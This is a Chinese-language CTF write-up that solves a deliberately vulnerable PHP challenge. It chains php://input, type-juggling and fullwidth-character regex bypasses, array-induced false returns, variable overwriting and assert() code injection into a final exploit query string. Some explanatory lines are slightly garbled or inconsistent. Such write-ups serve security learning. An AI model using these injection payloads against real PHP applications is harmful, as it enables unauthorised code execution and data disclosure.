主要考察PHP Trick
源码参上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php
require_once('flag.php'); error_reporting(0);
if(!isset($_GET['msg'])){ highlight_file(__FILE__); die(); }
@$msg = $_GET['msg']; if(@file_get_contents($msg)!=="Hello Challenge!"){ die('Wow so rude!!!!1'); }
echo "Hello Hacker! Have a look around.\n";
@$k1=$_GET['key1']; @$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){ die("lol no\n"); }
if(strlen($k2) == $bb){ if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){ if($k2 == $cc){ @$cc = $_GET['cc']; } } }
list($k1,$k2) = [$k2, $k1];
if(substr($cc, $bb) === sha1($cc)){ foreach ($_GET as $lel => $hack){ $$lel = $hack; } }
$b = "2";$a="b";
if($$a !== $k1){ die("lel no\n"); }
assert_options(ASSERT_BAIL, 1); assert("$bb == $cc");
echo "Good Job ;)";
|
首先第一点
1 2 3 4
| @$msg = $_GET['msg']; if(@file_get_contents($msg)!=="Hello Challenge!"){ die('Wow so rude!!!!1'); }
|
需要使用php://input
,或者是data://text/plain
php://iinput
形如
1 2 3 4
| GET /?msg=php://input HTTP/1.1 Host ****
Hello Challenge!
|
data://text/plain
的话是构造
?msg=data://text/plain,Hello Challenge!
第二点
1 2 3
| if(intval($k1) !== $cc || $k1 === $cc){ die("lol no\n"); }
|
这里的$k1===$cc
用的是三个等号进行比较,比较的两个变量要求类型一致,而PHP传参的时候是默认String类型的,所以$key1=1337
即可
第三点
1 2 3 4 5 6 7
| if(strlen($k2) == $bb){ if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){ if($k2 == $cc){ @$cc = $_GET['cc']; } } }
|
这里需要注意preg_match('/^\d+$/', $k2)
中的是$
而非$
,所以只要构造$key2=000000000000000000000000000000000001337%EF%BC%84
即可绕过
第四点
1 2 3 4 5 6 7 8 9 10 11
| if(substr($cc, $bb) === sha1($cc)){ foreach ($_GET as $lel => $hack){ $$lel = $hack; } }
$b = "2";$a="b";
if($$a !== $k1){ die("lel no\n"); }
|
传值cc[]=
此时substr和sha1都会返回false,之后便是变量覆盖,再传参k1=2
即可.
第五点
构造$bb=$GLOBALS;\\
即可
所以最后的payload为
1
| ?msg=php://input&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=&k1=2&bb=var_dump($GLOBALS);//
|